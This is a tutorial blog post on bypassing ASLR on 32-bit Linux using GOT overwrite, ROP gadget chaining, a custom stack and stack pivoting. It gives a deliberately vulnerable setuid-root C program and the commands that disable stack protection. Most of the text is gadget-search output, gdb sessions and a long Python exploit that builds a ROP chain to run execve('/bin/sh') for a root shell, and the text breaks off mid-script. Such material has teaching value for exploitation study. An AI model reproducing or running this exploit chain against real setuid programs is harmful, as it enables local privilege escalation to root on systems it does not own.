Bypassing ASLR – Part III

Prerequisite:

  1. Classic Stack Based Buffer Overflow
  2. Bypassing ASLR – Part I

VM Setup: Ubuntu 12.04 (x86)

In this post lets see how to bypass shared library address randomization using GOT overwrite and GOT dereference technique. As mentioned in part I, even if executable doesnt have the required PLT stub codes, attacker can bypass ASLR using GOT overwrite and GOT dereferencing techniques.

Vulnerable Code:

// vuln.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main (int argc, char **argv) {
 char buf[256];
 int i;
 seteuid(getuid());
 if(argc < 2) {
  puts("Need an argument\n");
  exit(-1);
 }
 strcpy(buf, argv[1]);
 printf("%s\nLen:%d\n", buf, (int)strlen(buf));
 return 0;
}

Compilation Commands:

#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -fno-stack-protector -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

NOTE:

  1. system@PLT isnt present in our executable ‘vuln’.
  2. String “sh” isnt present in our executable ‘vuln’.

What is GOT overwrite?

This technique helps the attacker to overwrite the GOT entry of a particular libc function with function address of another libc function. For example GOT[getuid] contains getuid function address (after first invocation), but it can be overwritten with execve function address – when offset difference is added to GOT[getuid]. We already know, in shared libraries the offset of a function from it base address is always constant. Thus if we add the difference in the offsets of two libc functions (execve and getuid) to the value of getuid’s GOT entry, we obtain the execve function address. Later on, invocation of getuid invokes execve!!

offset_diff = execve_addr - getuid_addr
GOT[getuid] = GOT[getuid] + offset_diff

What is GOT dereference?

This technique is similar to GOT overwrite, but here instead of overwriting the GOT entry of a particular libc function, its value is copied into a register and offset difference is added to the register content. Thus now the register contains required libc function address. For example GOT[getuid] contains getuid function address, which gets copied to a register. The difference in the offsets of two libc functions (execve and getuid) gets added to register contents. Now jumping to the register value invokes execve!!

offset_diff = execve_addr - getuid_addr
eax = GOT[getuid]
eax = eax + offset_diff

Both the technique looks simpler, but how to perform these actions in runtime when a buffer overflow occurs?!? We need to identify a function (which does these additions and copying the result to register) and jump to that particular function to achieve GOT overwrite/dereference. But obviously no single function (neither in libc nor in our executable) does it for us!! In such cases ROP is used.

What is ROP?

ROP is a technique in which attacker once gains control of call stack, he can execute carefully crafted machine instruction to perform his desired actions even if there is no straightforward way!!. For example in return-to-libc attacks, we overwrote the return address with system address, to execute system(). But if system (and execve family of functions) are stripped off from libc shared library, attacker cant get root shell. In such cases, ROP comes to attackers rescue. In this technique even if any required libc function isnt present, attacker can simulate the required libc function by executing a series of gadgets.

What is gadget?

Gadgets are a set of assembly instructions which ends with a ‘ret‘ assembly instruction. Attacker overwrites return address with a gadget address, this gadget contains set of assembly instructions which are similar to first few assembly instructions of system(). Thus returning to this gadget address executes a part of system() functionality. Remaining part of system() functionality is done by returning to some other gadget. In this way, chaining a series of gadgets can simulate system() functionality. Thus system gets executed even if stripped off!!

But how to find available gadgets in an executable?

Its found using gadget tools. There are many tools (like ropeme, ROPgadget, rp++) which helps attackers to find gadgets in a binary. These tools basically look for a ‘ret’ instruction and then look backwards to find a series of useful machine instructions.

In our case we dont need to simulate any libc functionality using rop gadgets instead we need to overwrite GOT entry of a libc function or we need to make sure any register points to a libc function address. Lets see how GOT overwrite and GOT dereference is achieved using ROP gadgets!!

GOT overwrite using ROP:

– Gadget 1: First we need a gadget which does adding offset difference to GOT[getuid]. So lets look for an add gadget which copies the result to memory location.

$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
65 found.

A total of 65 gadgets found.
...
0x080486fb: addb %dh, -0x01(%esi,%edi,8) ; jmpl *0x00(%ecx) ; (1 found)
0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ; (1 found)
...
$

Bingo we found an add gadget which copies the result to memory location!! Now if we can make ebx contain GOT[getuid] – 0x5d5b04c4 and eax contain offset difference, we can successfully perform GOT overwrite!!

– Gadget 2: Makes sure ebx contains GOT entry of getuid. GOT entry of getuid (as shown below) is located at 0x804a004. Thus ebx should be loaded with 0x804a004, but since in add gadget a constant value (0x5d5b04c4) is added to ebx, lets minus that constant value from our ebx ie) ebx =0x804a004 -0x5d5b04c4 = 0xaaa99b40. Now we need to find a gadget which copies this value (0xaaa99b40) into ebx register.

$ objdump -R vuln
vuln: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE 
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a000 R_386_JUMP_SLOT printf
0804a004 R_386_JUMP_SLOT getuid
...
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
65 found.

A total of 65 gadgets found.
...
0x08048618: popl %ebp ; ret ; (1 found)
0x08048380: popl %ebx ; ret ; (1 found)
0x08048634: popl %ebx ; ret ; (1 found)
...
$ 

Bingo we found a ‘pop ebx’ gadget. Thus after pushing the value (0xaaa99b40) into stack and returning to “pop ebx” instruction, ebx contains 0xaaa99b40.

– Gadget 3: Makes sure eax contains offset difference. Thus we need to find a gadget which copies the offset difference into eax register.

$ gdb -q vuln
...
(gdb) p execve
$1 = {} 0xb761a1f0 
(gdb) p getuid
$2 = {} 0xb761acc0 
(gdb) p/x execve - getuid
$4 = 0xfffff530
(gdb) 
...
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
65 found.

A total of 65 gadgets found.
...
0x080484a3: popl %ebp ; ret ; (1 found)
0x080485cf: popl %ebp ; ret ; (1 found)
0x08048618: popl %ebp ; ret ; (1 found)
0x08048380: popl %ebx ; ret ; (1 found)
0x08048634: popl %ebx ; ret ; (1 found)
...
$

Thus pushing offset difference (0xfffff530) into stack and returning to “pop eax” instruction, copies offset difference into eax. But unfortunately in our binary ‘vuln’ we couldnt find ‘popl %eax; ret;’ gadget. Hence GOT overwrite is NOT possible.

Stack Layout: Below picture depicts chaining of gadgets to achieve GOT overwrite.

GOT dereference using ROP:

– Gadget 1: First we need a gadget which does adding offset difference to GOT[getuid] and its result needs to be loaded in a register. So lets look for an add gadget which copies the result to register.

$ ~/roptools/rp++ --atsyntax -f ./vuln -r 4
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
166 found.

A total of 166 gadgets found.
...
0x08048499: addl $0x0804A028, %eax ; addl %eax, 0x5D5B04C4(%ebx) ; ret ; (1 found)
0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ; (1 found)
0x08048482: addl %esp, 0x0804A02C(%ebx) ; calll *0x08049F1C(,%eax,4) ; (1 found)
0x0804860e: addl -0x0B8A0008(%ebx), %eax ; addl $0x04, %esp ; popl %ebx ; popl %ebp ; ret ; (1 found)
...
$

Bingo we found an add gadget which copies the result into register!! Now if we can make ebx contain GOT[getuid] + 0xb8a0008 and eax contain offset difference, we can successfully perform GOT dereference!!

– Gadget 2: As seen in GOT overwrite ‘pop %ebx; ret;’ gadget is found in executable ‘vuln’

– Gadget 3: As seen in GOT overwrite ‘pop %eax; ret;’ gadget is NOT found in executable ‘vuln’

– Gadget 4: Invoke execve() by calling register. Hence we need a ‘call *eax’ gadget

$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
65 found.

A total of 65 gadgets found.
...
0x080485bb: calll *%-0x000000E0(%ebx,%esi,4) ; (1 found)
0x080484cf: calll *%eax ; (1 found)
0x0804860b: calll *%eax ; (1 found)
...
$

Bingo we found ‘call *eax’ gadget.  But still since gadget 3 ‘popl %eax; ret;’ isnt found, GOT dereference isnt possible.

Stack Layout: Below picture depicts chaining of gadgets to achieve GOT dereference.

When it looked like no more way exists (atleast for me when I begin’d to learn about ROP), Reno introduced me to the below solution using manual ROP gadget search!! Thanks man!! 🙂 So read on!!

Manual ROP gadget search: Since rop gadget tools couldnt find ‘pop eax;ret;’ gadget, lets do a manual search to find if any interesting gadgets could be found that helps us to copy offset difference into eax register.

Disassemble binary ‘vuln’ (using below command)

$objdump -d vuln > out

– Gadget 4: Load eax with offset difference (0xfffff530). Disassembly shows a mov instruction which copies stack content into eax.

80485b3: mov 0x34(%esp),%eax
80485b7: mov %eax,0x4(%esp)
80485bb: call *-0xe0(%ebx,%esi,4)
80485c2: add $0x1,%esi
80485c5: cmp %edi,%esi
80485c7: jne 80485a8 <__libc_csu_init+0x38>
80485c9: add $0x1c,%esp
80485cc: pop %ebx
80485cd: pop %esi
80485ce: pop %edi
80485cf: pop %ebp
80485d0: ret

But looks like ‘ret’ (0x80485d0) is quite far from this instruction (0x80485b3). So the challenge here is until ‘ret’ we need to make sure eax doesnt get modified.

Unmodified EAX: Here lets see how to leave eax unmodified until ret instruction (0x80485d0). There is a call instruction (0x80485bb), so lets load ebx and esi in such a way that call instruction invokes a function which doesnt modify eax. Looks like _fini doesnt modify eax!!

0804861c <_fini>:
804861c: push %ebx
804861d: sub $0x8,%esp
8048620: call 8048625 <_fini+0x9>
8048625: pop %ebx
8048626: add $0x19cf,%ebx
804862c: call 8048450 <__do_global_dtors_aux>
8048631: add $0x8,%esp
8048634: pop %ebx
8048635: ret

08048450 <__do_global_dtors_aux>:
8048450: push %ebp
8048451: mov %esp,%ebp
8048453: push %ebx
8048454: sub $0x4,%esp
8048457: cmpb $0x0,0x804a028
804845e: jne 804849f <__do_global_dtors_aux+0x4f>
...
804849f: add $0x4,%esp
80484a2: pop %ebx
80484a3: pop %ebp
80484a4: ret

_fini invokes _do_global_dtors_aux, here eax could be left untouched when we set 0x1 to memory location 0x804a028.

What should be values of ebx and esi, to invoke _fini?

  1. First we need to find a memory location which contains the address of _fini (0x804861c). As shown below memory address 0x8049f3c contains _fini address.
    0x8049f28 :    0x00000001 0x00000010 0x0000000c 0x08048354
    0x8049f38 <_DYNAMIC+16>: 0x0000000d 0x0804861c 0x6ffffef5 0x080481ac
    0x8049f48 <_DYNAMIC+32>: 0x00000005 0x0804826c
  2. Set esi to 0x01020101. This value is preferred since we cant have 0x0 in esi value since its a strcpy vulnerable code and zero is a bad character!! Also do make sure that the resultant value (stored in ebx) too doesnt contain zero!!
  3. Set ebx as shown below:
    ebx+esi*4-0xe0 = 0x8049f3c
    ebx = 0x8049f3c -(0x01020101*0x4) + 0xe0
    ebx = 0x3fc9c18

Thus we found that inorder to call _fini, we need to make sure ebx and esi should be loaded with 0x3fc9c18 and 0x01020101, respectively.

Also do make sure that eax doesnt get modified between _fini return (0x8048635) and ret instruction (0x80485d0). This could be achieved by setting edi = esi + 1. When edi = esi + 1, jump instruction (0x80485c7) makes sure control jumps to (0x80485c9) instruction. After which, we could see that from this instruction (0x80485c9) until ret (0x80485d0), eax is not accessed!!

– Gadget 5: Load ebx with 0x3fc9c18.

$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
65 found.

A total of 65 gadgets found.
...
0x08048618: popl %ebp ; ret ; (1 found)
0x08048380: popl %ebx ; ret ; (1 found)
0x08048634: popl %ebx ; ret ; (1 found)
...
$

– Gadget 6: Load esi with 0x01020101 and edi with 0x01020102.

$ ~/roptools/rp++ --atsyntax -f ./vuln -r 3
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
135 found.

A total of 135 gadgets found.
...
0x080485ce: popl %edi ; popl %ebp ; ret ; (1 found)
0x080485cd: popl %esi ; popl %edi ; popl %ebp ; ret ; (1 found)
0x08048390: pushl 0x08049FF8 ; jmpl *0x08049FFC ; (1 found)
...
$

– Gadget 7: Copy 0x1 to memory location 0x804a028.

$ ~/roptools/rp++ --atsyntax -f ./vuln -r 5
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
183 found.

A total of 183 gadgets found.
...
0x080485ca: les (%ebx,%ebx,2), %ebx ; popl %esi ; popl %edi ; popl %ebp ; ret ; (1 found)
0x08048498: movb $0x00000001, 0x0804A028 ; addl $0x04, %esp ; popl %ebx ; popl %ebp ; ret ; (1 found)
0x0804849b: movb 0x83010804, %al ; les (%ebx,%ebx,2), %eax ; popl %ebp ; ret ; (1 found)
...
$

Now we have completed our gadget search!! Lets begin the game!!

Gadget Search Summary:

  • For successful invocation of gadget 1, we need gadgets 2 and 3.
  • Since gadget 3 is not available, we did manual search and found gadgets 4, 5, 6 and 7.
    • For successful invocation of gadget 4, we need gadgets 5, 6 and 7.

Exploit Code: Below exploit code overwrites GOT[getuid] with execve function address!!

#!/usr/bin/env python
import struct
from subprocess import call

'''
 G1: 0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ;
 G2: 0x080484a2: popl %ebx ; pop ebp; ret ;
 G3: 0x????????: popl %eax ; ret ; (NOT found)
 G4: 0x080485b3: mov 0x34(%esp),%eax...
 G5: 0x08048380: pop ebx ; ret ;
 G6: 0x080485cd: pop esi ; pop edi ; pop ebp ; ret ;
 G7: 0x08048498: movb $0x1,0x804a028...
'''

g1 = 0x0804849e
g2 = 0x080484a2
g4 = 0x080485b3
g5 = 0x08048380
g6 = 0x080485cd
g7 = 0x08048498
dummy = 0xdeadbeef
esi = 0x01020101
edi = 0x01020102
ebx = 0x3fc9c18 #ebx = 0x8049f3c - (esi*4) + 0xe0
off = 0xfffff530

#endianess convertion
def conv(num):
 return struct.pack("<I",num)

buf = "A" * 268 #Junk
buf += conv(g7) #movb $0x1,0x804a028; add esp, 0x04; pop ebx; pop ebp; ret;
buf += conv(dummy)
buf += conv(dummy)
buf += conv(dummy)
buf += conv(g6) #pop esi; pop edi; pop ebp; ret;
buf += conv(esi) #esi
buf += conv(edi) #edi
buf += conv(dummy)
buf += conv(g5) #pop ebx; ret;
buf += conv(ebx) #ebx
buf += conv(g4) #mov 0x34(%esp),%eax; ...

for num in range(0,11):
 buf += conv(dummy)

buf += conv(g2) #pop ebx; pop ebp; ret;
ebx = 0xaaa99b40 #getuid@GOT-0x5d5b04c4
buf += conv(ebx)
buf += conv(off)
buf += conv(g1) #addl %eax, 0x5D5B04C4(%ebx); ret;
buf += "B" * 4

print "Calling vulnerable program"
call(["./vuln", buf])

Executing above exploit code generates a core file. Open the core file to see GOT[getuid] gets overwritten with execve function address (as shown below).

$ python oexp.py 
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��ᆳ�ᆳ�ᆳ�ͅᆳހ�����ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳޢ�@���0�����BBBB
Len:376
sploitfun@sploitfun-VirtualBox:~/lsploits/new/aslr/part3$ sudo gdb -q vuln
Reading symbols from /home/sploitfun/lsploits/new/aslr/part3/vuln...(no debugging symbols found)...done.
(gdb) core-file core 
[New LWP 18781]
warning: Can't read pathname for load map: Input/output error.
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) x/1xw 0x804a004
0x804a004 <getuid@got.plt>: 0xb761a1f0
(gdb) p getuid
$1 = {} 0xb761acc0 
(gdb) p execve
$2 = {} 0xb761a1f0 
(gdb) 

Bingo we have successfully overwritten getuid’s GOT entry with execve address. Thus from now on any invocation of getuid would invoke execve!!

Spawning root shell: Our exploit is still incomplete, we have just performed GOT overwrite and we are yet to spawn a root shell. Inorder to spawn a root shell, copy below libc functions (along with their arguments) to stack.

seteuid@PLT | getuid@PLT | seteuid_arg | execve_arg1 | execve_arg2 | execve_arg3

where

  • setuid@PLT – setuid’s plt code address (0x80483c0).
  • getuid@PLT – getuid’s plt code address (0x80483b0). But this invokes execve because we have already performed GOT overwrite.
  • seteuid_arg should be zero to obtain root shell.
  • execve_arg1 – filename – Address of string “/bin/sh”
  • execve_arg2 – argv – Address of argument array whose content is [Address of “/bin/sh”, NULL].
  • execve_arg3 – envp – NULL

As we saw in this post, since we cant directly overflow the buffer with zero (since zero is a bad character), we can use chain of strcpy calls to copy zero in place of seteuid_arg. But this solution cant be applied here since stack is randomized, knowing the exact address of seteuid_arg’s stack location becomes difficult.

How to bypass stack address randomization?

It can be bypassed using custom stack and stack pivoting techniques!!

What is custom stack?

Custom stack is the stack region controlled by attacker. He copies the chain of libc functions along with this function arguments to bypass stack randomization. Its bypassed since attacker chooses any non position independent and writable memory region of a process as custom stack. In our binary ‘vuln’, writable and non position independent memory region is from 0x804a000 to 0x804b000 (as shown below)

$ cat /proc//maps
08048000-08049000 r-xp 00000000 08:01 399848 /home/sploitfun/lsploits/aslr/vuln
08049000-0804a000 r--p 00000000 08:01 399848 /home/sploitfun/lsploits/aslr/vuln
0804a000-0804b000 rw-p 00001000 08:01 399848 /home/sploitfun/lsploits/aslr/vuln
b7e21000-b7e22000 rw-p 00000000 00:00 0 
b7e22000-b7fc5000 r-xp 00000000 08:01 1711755 /lib/i386-linux-gnu/libc-2.15.so
b7fc5000-b7fc7000 r--p 001a3000 08:01 1711755 /lib/i386-linux-gnu/libc-2.15.so
b7fc7000-b7fc8000 rw-p 001a5000 08:01 1711755 /lib/i386-linux-gnu/libc-2.15.so
b7fc8000-b7fcb000 rw-p 00000000 00:00 0 
b7fdb000-b7fdd000 rw-p 00000000 00:00 0 
b7fdd000-b7fde000 r-xp 00000000 00:00 0 [vdso]
b7fde000-b7ffe000 r-xp 00000000 08:01 1711743 /lib/i386-linux-gnu/ld-2.15.so
b7ffe000-b7fff000 r--p 0001f000 08:01 1711743 /lib/i386-linux-gnu/ld-2.15.so
b7fff000-b8000000 rw-p 00020000 08:01 1711743 /lib/i386-linux-gnu/ld-2.15.so
bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]
$

ie) Memory regions which contains .data and .bss segments can be used as custom stack location. I have chosen custom stack location to be 0x804a360.

Now having chosen the custom stack location, we need to copy the chain of libc functions along with their arguments to custom stack. In our case, copy the below libc functions (along with their arguments) to custom stack inorder to spawn a root shell.

seteuid@PLT | getuid@PLT | seteuid_arg | execve_arg1 | execve_arg2 | execve_arg3

To copy these contents into custom stack we need to overwrite the return address of actual stack with a series of strcpy calls. For example to copy seteuid@PLT (0x80483c0) to custom stack, we need

  • Four strcpy calls – One strcpy call for each hexadecimal value (0x08, 0x04, 0x83, 0xc0).
  • Source argument of strcpy call should be the address of executable memory region which contains the required hexadecimal value and also we need to make sure that the value present in the chosen memory location shouldn’t get modified.
  • Destination argument of strcpy call should be the address of custom stack location.

Following above procedure, we setup the complete custom stack. Once custom stack is setup’d, we need to move to custom stack from actual stack using stack pivoting technique!!

What is stack pivoting?

Stack pivoting is done using “leave ret” instruction. As we already know “leave” instruction translates to

mov ebp, esp
pop ebp

Thus before “leave” instruction, loading EBP with custom stack address – makes ESP point to EBP, when”leave” gets executed!! Thus having pivoted to custom stack, we continue executing the series of libc functions loaded in custom stack, which results in spawning a root shell!!

Complete Exploit Code:

#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

#GOT overwrite using ROP gadgets
'''
 G1: 0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ;
 G2: 0x080484a2: popl %ebx ; pop ebp; ret ;
 G3: 0x????????: popl %eax ; ret ; (NOT found)
 G4: 0x080485b3: mov 0x34(%esp),%eax...
 G5: 0x08048380: pop ebx ; ret ;
 G6: 0x080485cd: pop esi ; pop edi ; pop ebp ; ret ;
 G7: 0x08048498: movb $0x1,0x804a028...
'''

g1 = 0x0804849e
g2 = 0x080484a2
g4 = 0x080485b3
g5 = 0x08048380
g6 = 0x080485cd
g7 = 0x08048498
dummy = 0xdeadbeef
esi = 0x01020101
edi = 0x01020102
ebx = 0x3fc9c18               #ebx = 0x8049f3c - (esi*4) + 0xe0
off = 0xfffff530

#Custom Stack
#0x804a360 - Dummy EBP|seteuid@PLT|getuid@PLT|seteuid_arg|execve_arg1|execve_arg2|execve_arg3
cust_esp = 0x804a360          #Custom stack base address
cust_base_esp = 0x804a360     #Custom stack base address
#seteuid@PLT 0x80483c0
seteuid_oct1 = 0x8048143      #08
seteuid_oct2 = 0x8048130      #04
seteuid_oct3 = 0x8048355      #83
seteuid_oct4 = 0x80481cb      #c0
#getuid@PLT 0x80483b0
getuid_oct1 = 0x8048143       #08
getuid_oct2 = 0x8048130       #04
getuid_oct3 = 0x8048355       #83
getuid_oct4 = 0x80483dc       #b0
#seteuid_arg 0x00000000
seteuid_null_arg = 0x804a360
#execve_arg1 0x804ac60
execve_arg1_oct1 = 0x8048143  #08
execve_arg1_oct2 = 0x8048130  #04 
execve_arg1_oct3 = 0x8048f44  #AC 
execve_arg1_oct4 = 0x804819a  #60
#execve_arg2 0x804ac68
execve_arg2_oct1 = 0x8048143  #08
execve_arg2_oct2 = 0x8048130  #04 
execve_arg2_oct3 = 0x8048f44  #AC 
execve_arg2_oct4 = 0x80483a6  #68
#execve_arg3 0x00000000
execve_null_arg = 0x804a360
execve_path_dst = 0x804ac60   #Custom stack location which contains execve_path "/bin/sh"
execve_path_oct1 = 0x8048154  #/
execve_path_oct2 = 0x8048157  #b
execve_path_oct3 = 0x8048156  #i
execve_path_oct4 = 0x804815e  #n
execve_path_oct5 = 0x8048162  #s
execve_path_oct6 = 0x80483a6  #h
execve_argv_dst = 0x804ac68   #Custom stack location which contains execve_argv [0x804ac60, 0x0]
execve_argv1_oct1 = 0x8048143 #08
execve_argv1_oct2 = 0x8048130 #04 
execve_argv1_oct3 = 0x8048f44 #AC 
execve_argv1_oct4 = 0x804819a #60
strcpy_plt = 0x80483d0        #strcpy@PLT
ppr_addr = 0x080485ce         #popl %edi ; popl %ebp ; ret ;

#Stack Pivot
pr_addr = 0x080484a3          #popl %ebp ; ret ;
lr_addr = 0x08048569          #leave ; ret ;

#endianess convertion
def conv(num):
 return struct.pack("<I",num)

buf = "A" * 268 #Junk
buf += conv(g7)               #movb $0x1,0x804a028; add esp, 0x04; pop ebx; pop ebp; ret;
buf += conv(dummy)
buf += conv(dummy)
buf += conv(dummy)
buf += conv(g6)               #pop esi; pop edi; pop ebp; ret;
buf += conv(esi)              #esi
buf += conv(edi)              #edi
buf += conv(dummy)
buf += conv(g5)               #pop ebx; ret;
buf += conv(ebx)              #ebx
buf += conv(g4)               #mov 0x34(%esp),%eax; ...

for num in range(0,11):
 buf += conv(dummy)

buf += conv(g2)               #pop ebx; pop ebp; ret;
ebx = 0xaaa99b40              #getuid@GOT-0x5d5b04c4
buf += conv(ebx)
buf += conv(off)
buf += conv(g1)               #addl %eax, 0x5D5B04C4(%ebx); ret;
#Custom Stack
#Below stack frames are for strcpy (to copy seteuid@PLT to custom stack)
cust_esp += 4                 #Increment by 4 to get past Dummy EBP.
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_oct4)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_oct3)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_oct2)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_oct1)
#Below stack frames are for strcpy (to copy getuid@PLT to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(getuid_oct4)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(getuid_oct3)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(getuid_oct2)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(getuid_oct1)
#Below stack frames are for strcpy (to copy seteuid arg  to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_null_arg)
#Below stack frames are for strcpy (to copy execve_arg1  to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg1_oct4)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg1_oct3)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg1_oct2)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg1_oct1)
#Below stack frames are for strcpy (to copy execve_arg2  to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg2_oct4)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg2_oct3)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg2_oct2)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg2_oct1)
#Below stack frames are for strcpy (to copy execve_arg3  to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_null_arg)
#Below stack frame is for strcpy (to copy execve path "/bin/sh" to custom stack @ loc 0x804ac60)
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct1)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct2)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct3)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct4)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct1)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct5)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct6)
#Below stack frame is for strcpy (to copy execve argv[0] (0x804ac60) to custom stack @ loc 0x804ac68)
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_argv1_oct4)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_argv1_oct3)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_argv1_oct2)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_argv1_oct1)
#Below stack frame is for strcpy (to copy execve argv[1] (0x0) to custom stack @ loc 0x804ac6c)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_null_arg)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_null_arg)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
